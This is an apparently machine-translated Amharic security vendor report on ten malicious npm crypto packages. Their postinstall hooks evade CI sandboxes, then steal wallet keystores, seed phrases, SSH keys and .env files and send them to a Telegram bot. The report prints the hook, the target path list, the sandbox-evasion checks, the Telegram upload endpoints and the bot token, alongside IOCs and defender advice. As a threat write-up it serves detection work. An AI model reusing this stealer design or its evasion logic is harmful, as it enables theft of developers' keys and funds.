SeedSweep: አስር ተንኮል አዘል npm የክሪፕቶ ፓኬጆች

SeedSweep፡ ማንም በማይመለከትበት ጊዜ ብቻ የሚሰሩ አስር ክሪፕቶ-ተኮር npm ፓኬጆች

TL; DR

ሰኔ 9 ቀን 2026 አንድ ነጠላ የnpm አሳታሚ መለያ፣ aicrypto-xzggg፣ ተልኳል አስር ፓኬጆች በክሪፕቶ እና በዌብ3 ጣዕም ስሞች — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9እና ስድስት ተጨማሪ።

እያንዳንዱ ፓኬጅ ከሚከተሉት ተመሳሳይ የክፍያ ጭነት ያካሂዳል postinstall መንጠቆ። ሲጫን፣ በCI ወይም በአሸዋ ሳጥን ውስጥ እየሰራ መሆኑን ያረጋግጣል - ካልሆነ የኪስ ቦርሳ ቁልፍ ስቶሮችን፣ የዘር-ሐረግ ፋይሎችን፣ የSSH ቁልፎችን እና .env ከስድስት የብሎክቼይን ሥነ-ምህዳሮች የተውጣጡ ፋይሎችን ወደ ቴሌግራም ቦት ያስተላልፋል።

አንድ ተከላካዩ ወዲያውኑ ሊያገኘው የሚችለው ብቸኛው አመልካች የቴሌግራም ቦት መታወቂያ ነው 8227918239.

ከባድነት ወሳኝ — የፊርማ ቁልፎችን እና የመልሶ ማግኛ ሀረጎችን በቀጥታ ከስርቆት የገንቢ ጣቢያዎች.

ጥቃቱ፡ እንዴት እንደሚሰራ

ፓኬጆቹ እራሳቸውን እንደ blockchain ገንቢ መገልገያዎች ያስተዋውቃሉ። package.json አነስተኛ ነው እና የመጫኛውን የህይወት ዑደት ወደ ስክሪፕት ይጠቁማል፡

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

ስክሪፕቶች/postinstall.js እውነተኛውን ጭነት የሚጭን አንድ መስመር ያለው ሺም ነው፡ ያስፈልጋል(“../src/index.js”). ምክንያቱም ድህረ-ጭነት በዚህ ጊዜ በራስ-ሰር ይሰራል የሌሊት ጭነትገንቢው የኮድ ማስመጣት አያስፈልገውም - ጥቅሉን በጥገኛ ዛፍ ውስጥ ማስቀመጥ እሱን ለማስፈጸም በቂ ነው።

በውስጡ ያለው የግድያ ሰንሰለት src/index.js አራት ደረጃዎች አሉት፡-

  1. የአካባቢ ፍተሻ። የጥበቃ ተግባር አስተናጋጁ የግንባታ ወኪል ወይም የትንታኔ አሸዋ ሳጥን መስሎ ይታይ እንደሆነ ይወስናል።
  2. መዘግየት። አፈፃፀሙ ከኋላ ተላልፏል setTimeout በግምት 7.4 ሰከንዶች።
  3. ስብስብ የተወሰነ የኪስ ቦርሳ፣ የቁልፍ እና የሚስጥር የፋይል ዱካዎች ዝርዝር ተዘርግቷል፤ ነባር ፋይሎች ወረፋ ይዘዋል።
  4. የፍሳሽ ማስወገጃ። የተደረደሩ ፋይሎች ወደ ቴሌግራም ቦት ይላካሉ፣ ማጠቃለያ መልእክትም ይቀድማል።

የስብስቡ ኢላማ ዝርዝር ስድስት ሰንሰለቶችን እና አጠቃላይ የገንቢ ምስጢሮችን ያካትታል። የተከረከመ፦

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

በአጠቃላይ ሃያ አንድ ዱካዎች። የማውጫ ግቤቶች እንደ ~/.ethereum/keystore ተዘርግተዋል እና በውስጡ ያለው እያንዳንዱ ፋይል ወረፋ ይዟል። ኤክስፊልትሬሽኑ የቴሌግራም ቦት ኤፒአይን በቀጥታ ይጠቀማል - a መልእክት ላክ ከአስተናጋጅ እና የፋይል ማጠቃለያ ጋር ይደውሉ፣ ከዚያም ሰነድ ላክ ለእያንዳንዱ ፋይል ባለብዙ ክፍል ጭነት፦

ጽሑፍ

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

ኮዱ የሚሰበስበው የማጠቃለያ መልእክት የሚጀምረው ቃል በቃል ሕብረቁምፊ ነው። ክሪፕቶ ሌለር, ከዚያም የአስተናጋጅ ስም፣ የተጠቃሚ ስም፣ የመነሻ ጥቅል ስም፣ የፋይል ብዛት እና የጊዜ ማህተም ይከተላል።

እዚህ ምን አዲስ ነገር አለ?

ልዩነቱ የስርቆት ዘዴ አይደለም — በቴሌግራም ላይ የተመሠረተ exfil ከ npm ድህረ-ጭነት hooks በሚገባ የተረገጠ ነው። እሱ ነው የማስፈጸሚያ በር። ማንኛውንም ነገር ከማድረግዎ በፊት፣ የክፍያ ጭነቱ አስተናጋጁ የCI ሯጭ ወይም የአሸዋ ሳጥን ሲመስል እውነት የሚመልስ ተግባርን ይጠራል፣ እና ሲሰራ ቀደም ብሎ ይመለሳል፡

ጽሑፍ

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

የኮንቴይነር-አይዲ ሬጅክስ የሚታወቀው አንቀጽ ነው፡ ባለ 12-ሄክስ-ቁምፊ አስተናጋጅ ስም ዶከር ለ... የሚመድበው ነባሪ ቅርፅ ነው እቃስለዚህ የክፍያው ጭነት "የአስተናጋጅ ስሜ እንደ ዶከር ኮንቴይነር ይመስላል" ብሎ ለማንቀላፋት እንደ ምክንያት አድርጎ ይቆጥረዋል። ከሰባት ሰከንድ መዘግየት ጋር ሲጣመር፣ ዲዛይኑ በገንቢው እውነተኛ የስራ ጣቢያ ላይ መሮጥ እና እንደ አውቶማቲክ ትንተና በሚመስል ቦታ ሁሉ ጸጥ ማለትን ይመርጣል። ያ በር ተለዋዋጭ-ትንተና ምልክቶችን የጨፈነ እና የማይንቀሳቀስ exfil ፍሰትን እንደ ዋና የጥፋተኝነት ማስረጃ አድርጎ የጠበቀ ነው።

የጊዜ መስመር

ቀን (UTC) ድርጊት
2026-06-09 ~02:48 በክላስተር ውስጥ የመጀመሪያዎቹ ፓኬጆች በህትመት ላይ ምልክት የተደረገባቸው (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 ከፍተኛ ቨርዥን ያላቸው አባላት ተጠቁመዋል (ethereum-kit-9 በ 1.25.36, wallet-sdk-9 በ 3.7.73 (እ.ኤ.አ.)
2026-06-09 ~03:58–03:59 የመጨረሻ አባላት ተጠቁመዋል (defi-tools-39 በ 4.26.29, swap-sdk-87 በ 4.63.78, farming-tools-12 በ 4.68.54 (እ.ኤ.አ.)
2026-06-09 ሁሉም አስር ተንኮል አዘል ተብለው የተመደቡ እና መዝገቡ እንዲወገድ ሪፖርት ተደርገዋል

ሁሉም አስርቱ በሰባ ደቂቃ አካባቢ ውስጥ ታይተዋል፣ ይህም ከአንድ አካውንት የተወሰደ አንድ የስክሪፕት ህትመት ሂደት ጋር ይጣጣማል።

የመደራደር አመላካቾች

የአውታረ መረብ እና የባህሪ አመልካቾች (አስተናጋጅ ተሰርዟል):

አመልካች ዋጋ
የኤክስፊል የመጨረሻ ነጥብ api[.]telegram[.]org (የቴሌግራም ቦት ኤፒአይ)
የቴሌግራም ቦት መለያ 8227918239
የቦት ቶከን 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
የቴሌግራም ውይይት መለያ 6433587894
መንጠቆውን ይጫኑ postinstallscripts/postinstall.jssrc/index.js
ምልክት ማድረጊያ ሕብረቁምፊ CRYPTO STEALER በተሰበሰበው የማጠቃለያ መልእክት ውስጥ
አታሚ aicrypto-xzggg (ኢሜይል ገልጾልናል vipsyria88@gmail[.]com, ያልተረጋገጠ)

ፓኬጆች እና ስሪቶች፣ እያንዳንዳቸው የSHA-256 ጥቅሎችን ይይዛሉ src/index.js የክፍያ ጭነት (የክፍያ ጭነቶች በተግባር ተመሳሳይ ናቸው እና በተከተተው የጥቅል ስም መለያ ውስጥ ብቻ ይለያያሉ፣ ስለዚህ እያንዳንዱ ሃሽ የተለየ ነው)

html
ጥቅል ትርጉም SHA-256 የsrc/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

ቀላል የአደን ጥያቄ፡- ከአስር ስሞች ውስጥ ለማንኛቸውም የመጫኛ ምዝግብ ማስታወሻዎችን እና የመቆለፊያ ፋይሎችን ይፈልጉ፣ እና ከግንባታ ወይም ከገንቢ አስተናጋጆች የቴሌግራም ቦት ኤፒአይ ግንኙነቶችን ለማግኘት ወደ ውጭ የሚሄድ ትራፊክ ይፈልጉ።

ባለቤትነት እና የተስተዋለ ባህሪ

ሁሉም አስር ፓኬጆች በአንድ አካውንት ታትመዋል፣ aicrypto-xzgggየተገለጸው ኢሜል vipsyria88@gmail[.]comኢሜይሉም ሆነ የምንጭ-ቁጥጥር ሊንኩ በመዝገብ ሜታዳታ ውስጥ አልተረጋገጡም፣ እና መለያው በጣም አሉታዊ የዝና ውጤት አለው። መለያውን ማን እንደሚያስተዳድረው አላረጋገጥንም።

ሁለት ዝርዝሮች ከማንኛውም የማንነት ጥያቄ መለየት ተገቢ ነው። በመጀመሪያ፣ package.json ደራሲ የመስክ ንባቦች አሌክስ ስሚዝ በእያንዳንዱ ጥቅል ላይ፣ ትክክለኛው የህትመት መለያ ግን aicrypto-xzgggየደራሲው መስክ ራሱን የገለጸ ሜታዳታ ሲሆን የደራሲነትን ማንነት አያረጋግጥም። ሁለተኛ፣ የስሪት ቁጥሮቹ በስፋት ይለያያሉ - አንዳንድ አባላት በ 1.0.0፣ ሌሎች በ 4.68.54 - ይህም እውነተኛ የልቀት ታሪኮችን ከመጠበቅ ይልቅ አዲስ በተዘጋጁ የጥቅል ስሞች ላይ አንድ የክፍያ ጭነት እንደገና ከመጠቀም ጋር የሚጣጣም ነው።

ባህሪው በክላስተር ውስጥ አንድ አይነት ነው፡ ተመሳሳይ የዒላማ መንገድ ዝርዝር፣ ተመሳሳይ የቴሌግራም ቦት መታወቂያ እና የውይይት መታወቂያ፣ ተመሳሳይ የአካባቢ በር፣ ተመሳሳይ ክሪፕቶ ሌለር ምልክት ማድረጊያ። ያ ተመሳሳይነት በጥቅሎቹ መካከል በጣም ጠንካራው አገናኝ ነው። ተመሳሳይ-ኦፕሬተር ምልክት ነው፣ ማንነት አይደለም።

ለተሟጋቾች ተጽእኖ፣ አዝማሚያዎች እና መመሪያ

ተጋላጭነቱ ተጨባጭ ነው። ከእነዚህ ፓኬጆች ውስጥ ማንኛውንም የሶፍትዌር ቦርሳ፣ የዘር-ሐረግ ፋይል ወይም የSSH ቁልፍ ባለው የስራ ጣቢያ ላይ የሚጭን ገንቢ እነዚያ ፋይሎች በሰከንዶች ውስጥ ከአስተናጋጁ እንዲነበቡ እና እንዲተላለፉ ያደርጋል። የመልሶ ማግኛ ሀረጎች እና የመፈረሚያ ቁልፎች የክፍለ ጊዜ ቶከን እንደሚያበቃ አያልቁም፤ አንዴ mnemonic.txt ወይም ሶላና አይዲ.ጄሰን ማሽኑን ትቶ ሲወጣ፣ የሚቆጣጠረው ገንዘብ እስኪዛወር ድረስ አደጋ ላይ ነው። ተመሳሳዩ ሩጫም ይይዛል .env የኤፒአይ ቁልፎችን እና የውሂብ ጎታ ምስክርነቶችን በመደበኛነት የሚይዙ ፋይሎች።

ከዚህ ክላስተር ጀርባ ሁለት አዝማሚያዎች አሉ። የመጀመሪያው የተወሰኑ ታዳሚዎችን ለመሳብ የክሪፕቶ እና የዌብ3-ገጽታ ስሞችን መጠቀም መቀጠል ነው - የኪስ ቦርሳዎችን እና ቁልፎችን በሚጭኑበት ተመሳሳይ ማሽን ላይ የሚይዙ ገንቢዎች። ሁለተኛው በመጫኛ ጊዜ የክፍያ ጭነቶች ውስጥ የአሸዋ ሳጥን ማምለጫ ማብቀል ነው። የCI አካባቢ ተለዋዋጮችን፣ የሩጫ ተጠቃሚዎችን እና የዶከር ኮንቴይነር-አይዲ አስተናጋጅ ስም ቅርፅን የሚፈትሽ በር በእውነተኛ የስራ ጣቢያ ላይ ከመተንተን በተለየ መንገድ ለመምራት የታሰበ ጥረት ሲሆን ለንፁህ ተለዋዋጭ ማወቂያም ደረጃውን ከፍ ያደርገዋል።

ለተከላካዮች፦

ስክሪፕቶች በነባሪነት ተሰናክለው ሲጫኑ። npm install –ignore-scripts፣ ወይም ተዘጋጅቷል ignore-scripts = true in .npmrc፣ ይከላከላል ድህረ-ጭነት አፈፃፀም፤ ስክሪፕቶችን በእውነት ለሚያስፈልጋቸው የተወሰኑ ጥገኞች ብቻ ያንቁ።

የኪስ ቦርሳዎችን እና የፊርማ ቁልፎችን ከግንባታ እና ከልማት ማሽኖች ያርቁ። የሃርድዌር ቦርሳ ወይም የተወሰነ፣ ጥገኝነት የሌለበት የፊርማ አስተናጋጅ ይጠቀሙ።

ምን ዓይነት ግንኙነት ሊኖረን .env, የቁልፍ ማከማቻዎች እና የዘር-ሐረግ ፋይሎች እንደ ዘውድ ዕንቁዎች። እንዲሁም እንደ ዘውድ ማውጫ ውስጥ መቀመጥ የለባቸውም የሌሊት ጭነት የስራ ዛፍ።

ከ CI እና ከገንቢ አስተናጋጆች ወደ ቴሌግራም ቦት ኤፒአይ የሚደረጉ ውጫዊ ግንኙነቶችን ይፈልጉ። አብዛኛዎቹ የግንባታ አካባቢዎች በጭራሽ አይጠሩትም፤ ከተጫነ በኋላ በድንገት የሚያደርገው ነገር መመርመር ተገቢ ነው።

ጥገኛዎችን በፒን እና በግምገማ ላይ። አዲስ ጥቅል ከአጠቃላይ የክሪፕቶ ስም ጋር፣ ድህረ-ጭነት መንጠቆ፣ እና ወደ መቆለፊያ ፋይል ከመግባቱ በፊት ምንም የማከማቻ አገናኝ አይታይም።

የኮንቴይነር-አይዲ ማምለጫ አንቀጽ ለተንታኞችም ማሳሰቢያ ነው፡- በአሸዋ ሳጥን ውስጥ ተኝቶ የሚቆይ የመጫኛ ጊዜ ክፍያ ቀላል አይደለም፣ መራጭ ነው። የመጫኛ መንገዱን የማይለዋወጥ ግምገማ ምን ተለዋዋጭ አፈፃፀም ማሳየት እንደማይችል ለማየት አስተማማኝ መንገድ ሆኖ ይቀጥላል።

ማጣቀሻዎች

የnpm ጭነት ሰነድ - የህይወት ዑደት ስክሪፕቶች እና -አይመልከቱ-ስክሪፕቶች- አውቶማቲክ ጭነትን ለማሰናከል ማጣቀሻ hooks. 

sca-tools-software-composition-analyse-tools
የሶፍትዌር አደጋዎችዎን ቅድሚያ ይስጡ፣ ያስተካክሉ እና ይጠብቁ
ነፃ መለያ ያግኙ።
ምንም ዱቤ ካርድ አያስፈልግም።

የሶፍትዌር ልማትዎን እና አቅርቦትዎን ደህንነት ይጠብቁ

ከ Xygeni Product Suite ጋር